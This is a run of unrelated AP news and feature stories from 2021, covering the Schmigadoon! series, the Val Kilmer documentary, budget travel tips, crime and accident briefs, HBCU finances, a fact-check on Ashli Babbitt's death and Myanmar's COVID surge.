What is this and why is music coming from everywhere? says one of the hikers in disbelief. Its like if The Walking Dead was also Glee.

So starts the charming, genre-bending Apple TV+ comedy Schmigadoon!, which combines Cecily Strong with Keegan-Michael Key and finds hilarity in the clash between modern sensibilities and classic Broadway musical theater norms.

This is not a show that is only for musical audiences. I love that it is for musical audiences so much, but I think its special and I think its genuinely very funny and I think its genuinely very sweet, says Strong. In that way, I think its kind of can be for everybody.

The town of Schmigadoon is stuck in the overly cheery Technicolor age, where two hotel rooms cost $1  unmarried couples should never sleep in one bed, of course  and residents suddenly sing about corn pudding to the astonishment of the strangers. Oh no. Its a song. You just started another song, Key's character exclaims to his partner at one point.

Behavior typical in apple-cheeked musicals from the 1940s and 50s is skewered, like when one resident flips his mate over and gives her a smack on her behind during a group dance number. No, no, thats not OK! Unless its consensual, says Strong's character.

Cinco Paul, who co-created and co-wrote the series with Ken Daurio, said he adores old musicals but also knows that they're often highly problematic in parts and wanted to explore the tension.

I would be thrilled to be stuck in a musical town, he says. But I also am hyper-aware of the things that are just not great about them. And so I wanted the show to point those things out and have fun with them.

The creators managed to convince a bushel of Broadway A-listers to fly to Vancouver and quarantine for two weeks before joining the show, including Alan Cumming, Kristin Chenoweth, Aaron Tveit, Jane Krakowski, Ann Harada and Ariana DeBose.

Cumming plays the top-hatted mayor, Chenoweth is a sour Bible-thumper, Trevit is a rapscallion carnival worker and Martin Short has a cameo as a leprechaun. The backpacking couple learn they cant leave the magical town until they find true love, putting a strain on their already crumbling relationship.

The title is a joke on another village unaffected by time from the splashy Broadway musical "Brigadoon" and it skewers such escapist and naive shows like "Seven Brides for Seven Brothers" and Hello, Dolly!

Lorne Michaels, an executive producer, says the show's genius lies in reexamining strict post-World War II gender, sexual and racial roles without the show being overtly political, not to mention offering plenty of songs and dancing.

Its a very light touch, he said. "Were in a very heavy-handed time right now, where people feel making a point about justice is kind of enough. And you go Well, no. You also have to entertain.

The show's writers also include Allison Silverman, Julie Klausner, Kate Gersten and Bowen Yang. Paul jokes he picked people who maybe have a bit more of a poison pen than I would. But ultimately, all of us in the room loved musicals so much and that came through.

The songs are also by Paul, who re-immersed himself in the songwriting of composers like Frank Loesser and Richard Rodgers. But he initially didn't like what came out, calling the first batch lazy.

I needed to be harder on myself and to try to really embody these songs, emulate them in a real and a really authentic way, he said. The goal was to sound like they were from an undiscovered Rodgers and Hammerstein musical that finally came to light.

Strong is still laughing about them. I think singing about corn pudding is ridiculous, she says. And then girls and the boys split up and dance. Its just so ridiculous.

___

Mark Kennedy is at http://twitter.com/KennedyTwits
CANNES, France (AP)  Val Kilmer was in movies he wasnt in.

The new documentary Val, bursting with footage Kilmer shot himself over his 61 years, includes home videos and backstage glimpses, as you might expect. But the most remarkable thing is seeing Kilmers own audition tapes of himself. Its not just a few scenes here and there. They capture Kilmer living in parts  including some he never got to (officially) play.

Theres footage of him as Henry Hill in Goodfellas. Hamlet he privately tackled for years. He was so consumed with being in Stanley Kubricks Full Metal Jacket that Kilmer had a friend shoot him, in combat gear, trudging through a California swamp. In another clip, he shoots live rounds in the backyard.

Im a firm believer in magical realism ON and OFF the screen, said Kilmer in an interview over email. The transformation and/or manifestation of each character is really just PRAYER."

Val, which a24 will open in theaters July 23 and Amazon Prime will debut Aug. 6, made its recent premiere at the Cannes Film Festival. Here in France to celebrate the occasion were his children, Mercedes and Jack Kilmer, and the directors Ting Poo and Leo Scott. Kilmer, who has difficulty speaking after throat cancer and numerous trachea surgeries, wasnt able to attend.

But exchanging words over email from Los Angeles, Kilmer said he was feeling blessed and grateful as Val made its anticipated arrival. For years, the hours of tapes had just sat in boxes. But losing his voice has made Kilmer only want to tell his story  a boundless life of full-hearted abandon  all the more.

Kilmer, himself, tends to view his life with mystical harmony and a sense of destiny. That the documentary happened  through a confluence of people and events  he says is once in a lifetime.

I should KNOW, said Kilmer. Its my L I F E.

And for much of Kilmers life, he was self-documenting it. It started with 16mm short films and movie parodies with his brother, Wesley, who died in childhood after an epileptic fit in a Jacuzzi. Forever after, like a habit solidified by grief, Kilmer often had a camera in his hands. In Val, we see him shooting fresh-faced Sean Penn and Kevin Bacon backstage on Broadway in Slab Boys; in his trailer while shooting Top Gun; prodding Marlon Brando and warring with director John Frankenheimer on The Island of Dr. Moreau.

My brother Wesley and my mother are both alive in the film, Kilmer says. Seeing that footage and the movies and art created by Wesley within the context of the rest of the story is extremely meaningful. I lost my mother during the shoot, so Im more and more emotional with each viewing. There are laughs. There are tears.

Scenes like the one he made on The Island of Dr. Moreau helped give Kilmer a reputation as a difficult actor. But in Val, we see an actor driven less by ego than extreme, even manic dedication.

Ive lived in the illusion almost as much as Ive lived outside of it, he says in Val. I have behaved poorly. I have behaved bravely. I have behaved bizarrely to some. I deny none of this and have no regrets because I have lost and found parts of myself I never knew existed.

Kilmer, the youngest actor ever accepted to Julliard when he went, experienced the ups and downs of fame more dramatically than most. His break came in 1984's Top Secret! one of relatively few movies that traded on his talent for comedy. (Another, decades later, was Kiss Kiss Bang Bang.)

Hes the funniest person I know, says Jack Kilmer, 26, sitting alongside his 29-year-old sister in Cannes. Everyone who knows him is like: He is so funny. He should do more comedies. All his best friends, the jokes are nonstop. Yet hes known as a serious, dramatic actor.

Val is narrated by Kilmer but voiced, movingly, by Jack. His son looks and sounds like Kilmer, who wrote the narration sporadically, in text messages and scrap books. About halfway through the film, the directors say they forget it isn't Val. In one scene, the filmmakers capture Jack, in a recording booth, pausing to ask if one of his dads stories  a new one to him - is really true.

Our dad has so many stories," says Jack. "You never know what youre going to get when you hang out with him. Hell just drop a story on you. Its kind of like the experience of watching this movie.

For Jack and Mercedes there were other epiphanies. They had only seen some of the tapes.

I had ever seen footage of my parents wedding before Leo showed me, says Mercedes, who lives next door to her father.

Weve been sitting on this movie for a long time, says Jack. Definitely our whole lifetime.

Kilmers biggest breakthrough, of course, was Top Gun, a movie he recalls not initially wanting to do. I thought the script was silly and I disliked the warmongering in the film, he narrates in the documentary. On Tony Scotts set, he was more energized by the film. For the rest of his life, he says, I will be called Iceman by every pilot at every airport I ever go to.

But Kilmers resistance to being pigeonholed and typecast lasted forever. Willow, Batman Forever, The Doors, Tombstone, The Saint, Heat. Scott first encountered Kilmer while working with him on Harmony Korines short, in which Kilmer played himself, for the 2012 VICE project The Fourth Dimension.

Scott, captivated by Kilmers freewheeling energy to create (he remembers the actor sending in videos of himself from Home Depot), kept on working with him. Together they mounted one of Kilmers largest undertakings, the one-man stage show Citizen Twain, in which he played Mark Twain.

I wandered my ranch talking to myself for years in advance of workshopping the one-man show, says Kilmer, who more recently sold his 6,000-acre New Mexico ranch.

Kilmers outlook is, as ever, enthusiastic. He continues to create in myriad ways  collages, an upcoming book of poetry that a24 will publish. He keeps a studio in Hollywood that he lends space to an inner-city theater program. And Hamlet? "Dont count me out, he says. The best is yet to come.

I have no regrets, adds Kilmer. Ive witness and experienced miracles.

___

Follow AP Film Writer Jake Coyle on Twitter at: http://twitter.com/jakecoyleAP
So you want to travel on a budget. Who doesnt? Yet its easy to get overwhelmed by all the cheap travel tips, hacks and strategies out there that promise unbelievable deals on airfare and hotels.

In reality, theres only one important tactic for traveling cheaply: being flexible with your travel dates, destination and plans. It might sound simple  or even simplistic  but you would be surprised how few travelers are willing to take this piece of advice to heart.

To be fair, this flexibility-first mindset requires a paradigm shift for many in terms of how they start planning vacations. It requires moving from this type of planning:

I want to go to Amsterdam from Sept. 5th through 13th.

To this:

I want to go somewhere fun in September.

For some, this degree of flexibility is simply impossible. Yet for those who can loosen their preconceptions about how to plan travel, it can lead to big savings  and maybe even more fun  whether youre paying with cash or using points.

WHY RIGIDITY IS SO EXPENSIVE

The cost of travel depends on the interplay between many factors, including:

 Demand.

 Supply.

 Randomness.

 Number of options.

When you make specific plans from the get-go, you essentially constrain the last variable  you give yourself fewer options. This means that the cost of your trip will depend entirely on the first three variables, which are completely outside of your control.

This economic interplay will sometimes fall in your favor, and youll score a good deal on the exact destination and dates you wanted. But more often than not, youll end up paying more than average simply by starting with a severely limited set of options.

HOW TO PLAN TRAVELS WITH FLEXIBILITY

You can still set some boundaries around your search. Example parameters might include:

 I want to travel in the fall.

 I want to sit on the beach.

 I dont want to spend more than $X.

From here, you can begin weighing different destinations and dates to see which could maximize your preferences. For example, you might start with flights to Hawaii, but notice that airfare is through the roof. So you switch to the Caribbean, narrow your interest to a few destinations with cheap flights, then start researching hotel prices.

Finally, you can find the dates and destinations that offer the best combination of price and features, then book your travel.

Think about how many times you (or someone you know) have gone about it the other way  by starting with dates and a destination, then accepting whatever costs come up.

THE RIGHT TOOLS FOR THE JOB

As this flexible travel approach gains in popularity, travel booking sites and services have begun offering helpful tools specifically designed for the task.

AIRFARE DEAL ALERTS

Airfare deal newsletters, like Scotts Cheap Flights and Dollar Flight Club, are how many travelers start thinking in terms of flexibility. These newsletters send a blast to subscribers whenever they discover a low-cost airfare deal.

But theres usually a catch: These airfare deals are available only on certain dates, or to very specific destinations. You cant sit around waiting for a great deal from Atlanta to Sydney, because that may not come around in time.

But you can wait for an exciting fare from Atlanta to  somewhere, and jump on it when it becomes available.

GOOGLE FLIGHTS EXPLORE

Many travel search engines, like Kayak or Orbitz, have highly flexible search tools. Google Flights offers a feature called Explore that allows you to search in a totally wide-open way.

You enter your departure city, the length of trip youre looking for and your price range, and Google returns a handful of deals to a bunch of destinations at random times within your date range.

POINTS AND MILES

Travel bloggers love to rave about how they scored a first-class ticket using miles, but they dont often describe their true secret: extreme flexibility.

Redeeming points and miles for reward travel all but requires a high degree of flexibility to get the most value from them. For one thing, the availability of these awards can be spotty. Before you can even determine if an award booking is a good deal or not, you need to actually find an available award booking option. For another, airlines often double the price or more during high-demand dates.

In short: If youre looking to use miles on a specific flight on a specific day, you might either pay too much  or not be able to score a ticket at all.

To make things easier, many airlines offer award calendars that let you see which dates and prices are available by month, which can be especially helpful when rooting out hard-to-find premium cabin tickets.

___

This article originally appeared on the personal finance website NerdWallet. Sam Kemmis is a writer at NerdWallet. Email: skemmis@nerdwallet.com. Twitter: @samsambutdif.

-

RELATED LINKS:

NerdWallet: The beginners guide to points and miles

https://bit.ly/nerdwallet-travel-guide

NerdWallet: Ask a travel nerd: Should I use points and miles to book 2021 travel?

https://bit.ly/nerdwallet-points-and-miles
ST. LOUIS (AP)  One person died and several others were injured in a spate of four shootings that happened within an hour in St. Louis overnight, police said.

Two people were brought to a hospital after being shot around 12:15 a.m. Wednesday near the Hamilton Heights neighborhood, police said, and one of them later died.
INDIANAPOLIS (AP)  Ten people were in custody Wednesday after the FBI conducted raids across Indianapolis as part of an investigation into violence and drug trafficking, a spokeswoman said.

FBI agents from Indianapolis, Cincinnati and Louisville, Kentucky as well as Indiana State Police and the Indianapolis and Fishers police departments conducted the raids, FBI spokeswoman Chris Bavender said.
BEAVER FALLS, Pa. (AP)  Two people were killed and three others injured in a shooting outside a public housing complex in western Pennsylvania, authorities said.

The Beaver County coroner said 31-year-old Dwayne Wells and 30-year-old Monte Warren died after the 9:30 p.m. Monday gunfire outside Harmony Dwellings in Beaver Falls.
MONTEREY, Calif. (AP)  Two women died when their small plane crashed into an empty home in a luxury gated community in the hills of Northern California, relatives said Wednesday.

Mary Ellen Carlin of Pacific Grove was flying the plane Tuesday, and Alice Diane Emig of Rancho Cordova and her dog, Toby, were on board, Emig's family told Monterey Bay-area news station KSBW-TV.

The twin-engine Cessna 421 crashed into the home in the gated community about 5 miles (8 kilometers) from the city of Monterey shortly after departing from Monterey Regional Airport, according to the Federal Aviation Administration.

The crash sparked a fire in the house that spread to nearby bushes, but crews got it under control Tuesday.

Carlin, the owner of the plane and a flight instructor, was planning to fly Emig from Monterey to Mather in the Sacramento area, family told the TV station.

Relatives said deputies told them no one survived the crash.

Officials have not confirmed who was flying the plane, but Carlin's son, David Carlin, told the Monterey Herald that he has no doubt his mother was the pilot.

My mom flew that plane for well over a decade, he said. I want to make sure everyone knows that my mom was a great pilot. She spent tens of thousands of hours flying. She taught dozens of students over the years. Shes kind of a legend.

John Thornburg, spokesman for the Monterey County Sheriffs Department, said no bodies have been recovered from the wreckage yet.

The National Transportation Safety Board is leading the investigation.
MONTGOMERY, Ala. (AP)  Three people in Alabama have been arrested on charges related to the theft of $9 million from a resident of an assisted living facility, the state attorney general said Wednesday.

Lisa Daugherty, 54, of Attalla, is charged with two counts of financial exploitation of the elderly. A news release from Attorney General Steve Marshall said one count accuses Daugherty in the theft of $8 million in currency. The other count accuses her in the theft of $1 million in real estate.
ATLANTA (AP)  Two recent high-profile faculty appointments could be a fundraising and enrollment bonanza for Howard University, one of the nations most prestigious Black colleges. Many other Black schools are not so fortunate; in fact, many are struggling.

Some, especially smaller private colleges, have been fighting for their survival for years, with weak endowments, aging buildings and steady enrollment declines, all made worse by the coronavirus pandemic.

While larger HBCUs often have the funding resources necessary to attract accomplished talent like Nikole Hannah-Jones and Ta-Nehisi Coates, many smaller institutions need donors to step forward, contributing much-needed financial resources for us to compete, said Dr. Paulette Dillard, president of Shaw University, a private Black university in Raleigh, North Carolina.

Hannah-Jones accepted a faculty position at Howard amid controversy over whether she would be granted tenure at the University of North Carolina after critics questioned her credentials, specifically her Pulitzer Prize-winning work The 1619 Project, which traces the countrys history with slavery. Coates, a Howard graduate, is a journalist and best-selling author who also recently joined Howard's faculty.

Billions of dollars in federal virus relief will help higher education, but it may not be enough to change the long-term fortunes of some historically Black schools. An Associated Press analysis of enrollment and endowment data shows wide disparities among 102 historically Black colleges and universities, and a further divide between private and public institutions.

As one example, the five wealthiest private Black colleges had endowments ranging from $73,000 per student to more than $200,000, far above the median endowment of less than $16,000 per student. The largest endowment for a public Black college was less than $25,000 per student, though the public schools also receive state aid.

Overall enrollment in historically Black colleges has declined 11% in the most recent 10-year period for which data is available, from 325,609 in 2010 to 289,507 in 2019. Enrollment at some campuses dropped by half during that span, and several administrators said enrollments dropped further during the coronavirus pandemic last year.

As a rule, Black colleges also haven't had the fundraising ability of other universities. The cumulative endowment for all historical Black colleges through 2019 was a little more than $3.9 billion. Thats about equal to the endowment for the University of Minnesota alone.

Of that amount, just eight private Black colleges held 54% of the total: Spelman College, Hampton University, Meharry Medical College, Xavier University of Louisiana, Morehouse College, Tuskegee University, the Morehouse School of Medicine and Howard, which counts Vice President Kamala Harris among its graduates.

Last summers protests over racial injustice brought renewed attention to historically Black colleges and universities and led to a surge in private donations, at least for some.

Mackenzie Scott, the ex-wife of former Amazon founder Jeff Bezos, gave $560 million to 22 Black colleges, including some with very limited endowments, as well as to the Thurgood Marshall College Fund and the United Negro College Fund, both of which raise money for Black colleges and universities. Netflix founder Reed Hastings and his wife, Patty Quillin, split $120 million among the United Negro College Fund, Spelman and Morehouse. Former New York mayor and entrepreneur Michael Bloomberg pledged $100 million for student aid at the four historically Black medical schools.

Its allowing the schools to see the opportunity to be bigger than they previously thought was possible, said Harry Williams, president and chief executive of the Thurgood Marshall fund.

Yet many lesser-known schools continue to struggle and scrape for money. Shaw, one of the oldest historically Black colleges in the South, has an endowment worth just $8,436 per student and did not benefit significantly from the wave of private giving last year, said David Byrd, the colleges vice president of finance.

The college is able to pay the bills and get by, he said, but still has $26 million in deferred maintenance. Shaw and other smaller Black colleges that mostly depend on tuition are counting on help from the federal coronavirus relief championed by President Joe Biden and passed by Congress this spring. That aid package will send roughly $2.6 billion to historically Black colleges, although the U.S. Department of Education has not yet announced how it will allocate the money.

Shaw plans to use the money to fix older buildings and dormitories and expand a variety of student services. The federal aid can be used to make up for lost tuition income during the pandemic, hire more faculty, offer pay raises and upgrade heating and air-conditioning systems.

Wilberforce University in Ohio, another small historically Black private college, plans to use its pandemic relief money in similar ways, after the government forgave much of the universitys $25 million in federal debt.

The bottom line: Its very beneficial to the faculty, staff and students at this university, because now we have some additional opportunities for support, said William Woodson, Wilberforces financial vice president.

Student debt is a significant drag on graduates of historically Black colleges, and administrators say it hurts enrollment. Limited endowments mean their campuses cant subsidize tuition as much as wealthier colleges.

A large percentage of students enrolled at historically Black colleges come from the poorest families, those making $20,000 a year or less, which forces them to borrow. Federal figures show the typical Black college graduate who borrowed money owes $52,000 in student loan debt, roughly double what the typical white student owes.

In addition to giving more financial aid to students, many Black colleges are considering using their federal pandemic money to create campus work-study jobs through which students can earn income, provide subsidized child care, buy personal computers and help students pay for high-speed internet connections.

At Shaw, officials hope renewed national interest in historically Black colleges and the role they play could spark enthusiasm for schools with much smaller endowments that have had to choose between updating buildings, closing programs or keeping tuition affordable for their students.

More than 80% of Shaws undergraduates are eligible for federal Pell Grants, compared to roughly 45% of Howard students. But Byrd, the school's financial officer, said thats also where the university has had an impact for the past century and a half: giving low-income students the tools to find a career and succeed.

He said it's really tough to predict" how long it will take for the university to recover from the pandemic. Its finances are primarily driven by tuition and donations, yet enrollment has dropped by nearly 53% from 2010 to 2019. He cited the need for continued federal relief or private donations that trickle down to the smaller schools.

People think we want a handout for nothing. We have a proven track record for producing a certain type of kid for 150 years, Byrd said. So, its not really a handout; its an investment.

___

Hudspeth Blackburn reported from Louisville, Kentucky. Fenn reported from New York.

___

Hudspeth Blackburn is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on undercovered issues.
MONTGOMERY, Ala. (AP)  Retired Army Sgt. Kenneth Paschal on Tuesday was elected to fill a legislative seat in suburban Shelby County, becoming the only Black Republican in the Alabama Legislature.

Paschal, 54, won the general election to fill House District 73 which was vacated when Matt Fridy joined the Alabama Court of Civil Appeals. He defeated Democratic candidate Sheridan Black. Paschal took about 75% of the 2,700 votes cast, according to unofficial returns posted Tuesday night by the Alabama secretary of state's office.

He will represent the Shelby County district in the heavily Republican suburbs south of Birmingham.

I want to thank the voters of Shelby County for the trust they placed in me today. I had never run for office before, but I feel like our campaign was really embraced by the people. I think they were looking for an outsider," Paschal said in a statement.

He narrowly won the GOP nomination for the seat earlier this year.

Paschal is the first Black Republican elected since Reconstruction. However, he will not be the first Black lawmaker to align with the Republican Party in modern times.

Former Rep. Johnny Ford, the longtime mayor of Tuskegee, in 2003 announced he was switching to the GOP, becoming the first Black Republican in the Alabama Statehouse since Reconstruction. Ford resigned to return to his old office of mayor and later rejoined the Democratic Party.

Paschal served nearly 21 year in the U.S. Army. He now lives in Shelby County and is a member of the First Baptist Church of Pelham. He has worked with the Alabama Family Rights Association, a group that has urged changes to child custody laws in an effort to ensure time and decision-making would be split more evenly among parents, provided both parents are fit.

Paschal told The Associated Press Tuesday that after leaving the military, he thought about where he fit politically and said that is with the Republican Party because he is conservative.

On the campaign trail, he said some people presumed he was a Democrat. We have put people in the box based on your skin color... Hopefully, we can change that, he said.

The voters of District 73 didnt choose me because of the color of my skin. They got to know me. They saw a God-fearing man of integrity who values and defends our Constitution," Paschal said in a statement.

The political parties in the Alabama Legislature are almost entirely divided along racial lines. Paschal will be the only Black Republican. The Alabama Senate and House each have one white Democratic member.

State Rep. April Weaver was also elected Tuesday night to vacant seat in the Alabama Senate. Weaver fills the seat vacated by Cam Ward who is now the director of the Alabama Bureau of Pardons and Paroles. The district stretches through Shelby, Bibb and Chilton counties.
JUNEAU, Alaska (AP)  More than 13 Indigenous communities, including seven in Alaska, will split $12 million for energy cost reduction efforts, officials announced..

U.S. Secretary of Energy Jennifer Granholm announced the grants during a teleconference Tuesday. Republican Sen. Lisa Murkowski and Keolani Booth, a Metlakatla Indian Community Tribal Council member, also participated in the event.

They said the grant funds would help American Indian and Alaska Native communities reduce costs and move toward more sustainable energy production, the Juneau Empire reported.

We want to thank the federal government for its investment into our community, Booth said. This opens up many new options.

Metlakatla will use its grant of more than $1 million to complete an electrical intertie project to Ketchikan that is expected to lower prices.

Booth, in a prepared statement, said the project has been in the works for about 20 years and is becoming a reality because of the assistance of state and federal politicians.

Other Alaska communities receiving grants are the Akiachak Native Community; the Native Village of Kipnuk; the Native Village of Diomede; the Native Village of Noatak and the Northwest Arctic Borough; the Village of Aniak and the Village of Chefornak.

American Indian communities in California, Florida, Washington and Colorado were also awarded grants from the U.S. Department of Energys Office of Indian Energy Policy.

Projects were selected by a committee and based on scoring criteria, said Wahleah Johns, senior adviser for the Indian Energy Policy office. Local communities are paying for some costs but the majority of the funding is coming from the grants.
LOUISVILLE, Ky. (AP)  Bourbon tourism is getting another boost from a distillery in Kentucky's largest city.

Angels Envy says it will be able to accommodate twice as many guests once an $8.2 million expansion is completed next spring at its downtown Louisville distillery.

The craft distiller says the project includes a new event space and bar, a larger retail space and several new tasting rooms. The distillery will remain open to the public throughout the construction.

Angels Envy is a prime example of how Kentuckys signature bourbon industry immensely benefits our commonwealth by attracting visitors to the state while creating quality opportunities for Kentuckians," Gov. Andy Beshear said Tuesday.

Kentucky is home to 66 spirits operations employing more than 5,100 people full-time statewide, Beshear's office said. In 2020, the industry announced 20 projects in Kentucky, totaling more than $300 million in new investment.

Kentucky crafts 95% of the worlds bourbon supply, according to the Kentucky Distillers Association.
WASHINGTON (AP)  Former President Donald Trump is falsely describing the circumstances of Ashli Babbitt's death as he foments conspiracy theories about the siege of the Capitol on Jan. 6 and all the love in the air that day.

In comments over the past week, Trump insinuated that a Democratic partisan shot Babbitt  it was actually a Capitol Police officer defending the House chamber from attackers such as her. And Trump said Babbitt was shot in the head  in reality she was shot in the shoulder and died from the wound.

The defeated president's comments come as he and many of his supporters recast the pro-Trump insurrection as a patriotic display of spirit and faith and love, as he put it Sunday on Fox News Channel.

As thoroughly documented by video, photographs and people who were there, the attackers barged into the Capitol during hours of chaos, many of them hunting for lawmakers in hiding and for Trump's vice president, Mike Pence, who was there to certify Joe Biden's election victory.

Trump had exhorted his followers at a staging rally to fight like hell" to deny Biden the presidency. Five people died in the attack that followed or its aftermath, and dozens of law enforcement officers were injured.

A look at Trump's recent remarks:

TRUMP: I will tell you they know who shot Ashli Babbitt. Theyre protecting that person. I have heard also that it was the head of security for a certain high official, a Democrat. And we will see, because its going to come out. Its going to come out."  on Fox News' Sunday Morning Futures.

THE FACTS: No, the officer who shot and killed Babbitt was not head of security for a Democratic official. He is a police lieutenant on the 2,000-member Capitol Police force that protects the buildings and grounds.

The force guards members of Congress regardless of their party. Democratic and Republican lawmakers do not employ their own security services at the Capitol. All depend on the nonpartisan force as well as on local police officers in some cases. Trump's linking of the officer to a top Democrat is baseless.

A few high-ranking members of Congress, such as the House speaker, the House majority leader and the Senate majority leader, have an extra level of protection because their prominence and power may put them under greater threat. They are assigned a security detail made up of a small, rotating group of Capitol police and local officers depending on where they are.

The officer who shot Babbitt on Jan. 6 was not a member of such a security detail, according to law enforcement officials and the officers lawyer. He is assigned to security in the House. In any event, there is nothing Democratic or Republican about the security details for top members.

Babbitt was shot by the officer when she tried to climb through a door with the glass smashed out as she and others in the mob pressed to get into the Speaker's Lobby outside the House chamber. She was unarmed.

Federal prosecutors cleared the officer of any wrongdoing after an investigation into the shooting and did not publicly name him. Capitol Police, concerned for his safety, have also not released his name. The officers attorney, Mark Schamel, said his client is facing many credible death threats and other horrific threats and was forced from his home because of them.

The Associated Press is not naming the officer because of the concerns for his safety.

The fact that the officer was not in uniform at the time has fed into the conspiracy theories that Trump is encouraging. Officers in the security details for high-ranking lawmakers wear plainclothes. But so do other members of the Capitol Police at times. It depends on their assignment.

___

TRUMP, demanding to know who is the person that shot Ashli Babbitt, boom, right through the head ... why isn't that being studied?"  speaking to reporters Wednesday in Bedminster, New Jersey.

TRUMP: Who is the person that shot ... an innocent, wonderful, incredible woman, a military woman, right in the head?  Sunday in the Fox News interview.

THE FACTS: Babbitt was shot in the shoulder, not in the head, and the circumstances of her death were studied.

Babbitt, 35, was part of the mob breaching the House as Capitol Police officers were evacuating members of Congress from the chamber. The officers used furniture to try to barricade the glass doors separating the hallway from the Speakers Lobby to try to stave off the attackers, who kept trying to break through those doors, smashing the glass with flagpoles, helmets and other objects.

Babbitt, wearing a stars and stripes backpack, was attempting to climb through one of the doors where the glass was broken out, when the officer fired one round from his service weapon, striking her.

Federal prosecutors investigated the shooting for several months and announced in April there would be no criminal charges. Prosecutors reviewed video of the shooting, along with statements from the officer involved and other officers and witnesses. They examined physical evidence from the scene and reviewed the autopsy results.

Officers are allowed to use deadly force if there is a serious risk of harm to them or others. Authorities said they did not find grounds to charge the lieutenant.

Trump described his supporters that day in glowing terms. The crowd was unbelievable, he said Sunday. And I mentioned the word love. The love  the love in the air, I have never seen anything like it.

___

EDITOR'S NOTE  A look at the veracity of claims by political figures.

___

Find AP Fact Checks at http://apnews.com/APFactCheck.

Follow @APFactCheck on Twitter at https://twitter.com/APFactCheck.
WICHITA, Kan. (AP)  A detention deputy was assaulted Tuesday by an inmate at the Sedgwick County jail, sustaining multiple facial fractures, authorities said.

The deputy was attempting to get the inmate to return to a cell at about 2:40 a.m. after he had been let out to shower, the sheriff's department said in a news release. The inmate made threatening comments, prompting the deputy to call for help while continuing efforts to get the inmate to return to his cell.
MAPLE HEIGHTS, Ohio (AP)  Authorities are investigating the death of a 5-year-old boy who shot himself in the head inside a home in a Cleveland suburb.

Maple Heights police responded to the home around 11:50 p.m. Tuesday after receiving a 911 call about the shooting. The child was pronounced dead at the scene a short time later.
FLAGSTAFF, Ariz. (AP)  An autopsy has confirmed that a 13-year-old girl was killed by pack of dogs while taking a walk near her family's home on the Navajo Nation.

Lyssa Rose Upshaw had extensive injuries that were consistent with canine teeth marks, including cuts and abrasions on her neck and head and deep soft tissue wounds on her legs. Her clothes were torn, and she was covered in dirt, according to the autopsy released this week in response to a public records request from The Associated Press.

While her mother, Marissa Jones, suspected dogs since she saw her daughter curled up off a dirt trail in Fort Defiance in mid-May, she had been awaiting an official cause.

I never thought that would ever happen to my daughter, she said. She was a dog lover.

The medical examiner's office in Coconino County classified Upshaw's death as accidental. The deadly attack has renewed discussion across the reservation about how to hold people accountable for their pets.

Tribal lawmakers recently passed a resolution to establish criminal penalties. Navajo Nation President Jonathan Nez vetoed it, saying it didn't go far enough and needs more input.

At least a handful of deaths on the Navajo Nation over the years have been blamed on dog packs, and numerous other people have been injured. None of the tribe's animal control laws, which are considered civil offenses, holds dog owners responsible for deaths.

Michael Henderson, the tribe's criminal investigations director, said tribal charges are being considered in Upshaw's death as authorities gather more evidence and await results for specimens collected from the dogs that belonged to a neighbor.

The case is pretty far from being closed, far from being just put aside as an accident or a civil matter or anything like that, he said. Were still very aggressively pursuing to understand the case to the extent to where if there are any criminal elements attached to what happened.

The FBI is conducting some of the lab testing. Henderson said he has spoken with federal prosecutors whose initial response was that the case is not one that could be charged under a limited set of crimes for which the federal government has jurisdiction on tribal land.

Tribes have concurrent jurisdiction but often seek federal charges because they carry much stiffer penalties than under tribal law. The maximum time in jail that the Navajo Nation could impose for any crime, regardless of the severity, is one year.

Esther Winne, a spokeswoman for the U.S. Attorney's Office for Arizona, couldn't say whether Upshaw's case has been referred to federal prosecutors. The FBI did not respond to a message from the AP.

Jones said her baby girl who had aspirations of running on the high school cross country team deserved more compassion and sympathy from the neighbors who owned the dogs and more attention from investigators on the case.

She has been pushing for jail time and fines for whoever is found responsible, though Henderson acknowledged there's not a clear path.

I'm hoping and I'm praying for my daughter to get her justice," Jones said.
LOS ANGELES (AP)  The nations largest public pension fund has agreed to pay up to $2.7 billion to refund policyholders hit with huge hikes in their premiums, it was announced Tuesday.

The California Public Employees Retirement System, or CalPERS, has agreed to settle a class-action lawsuit over the fee hikes that were imposed on nearly 80,000 people who paid for policies to cover the long-term costs of nursing care and included inflation-protection coverage, according to a joint news release from CalPERS and the plaintiffs.

A judge must approve the deal, which could happen sometime next year, according to the release.

Several policyholders sued in 2013 after CalPERS notified them that their premiums would jump by 85% over two years beginning in 2015.

CalPERS said it needed to raise the premiums to keep the expensive long-term care policies solvent. The fund has suspended new enrollment and plans to implement two more rate increases as early as this November and next year that could nearly double the premium cost, the Sacramento Bee reported.

CalPERS, which has some $470 billion in assets, provides pension and other retirement benefits to more than 2 million employees of state and local agencies and public schools, retirees and their families.

However, the money for the settlement won't come from those assets, which cover pensions, but rather from a separate long-term care fund of nearly $5.5 billion, according to the news release.

We believe this settlement is in the best interest of all long-term care policyholders and represents a sincere effort to resolve very complex issues in a fair manner, Matthew Jacobs, CalPERS general counsel, said in the release.

The settlement will help our clients, many of whom are retired and on fixed incomes, to achieve a refund of premiums and move on with their lives, said Gretchen Nelson, one of the attorneys in the case.

If approved, the settlement would avoid a jury trial in the case scheduled for March of next year.

The amount of money for each person covered by the settlement will depend on several factors, including whether they used the benefits for which they were paying.

Under the deal, most policyholders would receive between $35,000 and $50,000 but would have to give up their long-term care insurance plans to receive full payment refunds, the Bee reported.

Policyholders can opt out of the settlement and keep their plans, but few are likely to take that route, Stuart Talley, an attorney representing policyholders, told the paper.

Weve received so many phone calls from people who say they want their money back, and they want to get out of this program, he said.
BANGKOK (AP)  Charity groups in Myanmar said Wednesday that the number of people dying in the country's cities, which are facing a coronavirus surge and a shortage of oxygen to treat patients, has been climbing so quickly that they are struggling to keep up with funeral arrangements.

Crematoriums in Yangon, the countrys biggest city, are working from morning to night, funeral workers said. A staff member from Yay Way Cemetery, the citys busiest, said its three crematoriums are in nonstop operation from 8 a.m. to 5 p.m.

Like most workers involved with funeral arrangements, he asked not to be named because of the governments sensitivity about its handling of the COVID-19 crisis. The military-installed government that seized power in February routinely arrests critics for statements it considers either fake news or disturbing public order.

The exact number of cremations and burials held each day has not been announced by city officials, but charity officials and unofficial estimates on social media say more than 100 bodies have been brought every day to Yay Way Cemetery recently, with more than 200 on Wednesday. The city's other cemeteries also report higher than the usual numbers.

The figures are higher than had been seen before the latest virus surge, and could suggest that the official death toll for COVID-19 cases is an undercount.

The coronavirus crisis had not gotten much attention in the aftermath of Februarys seizure of power by the military, which set off a wave of protests and violent political conflict that devastated the public health system.

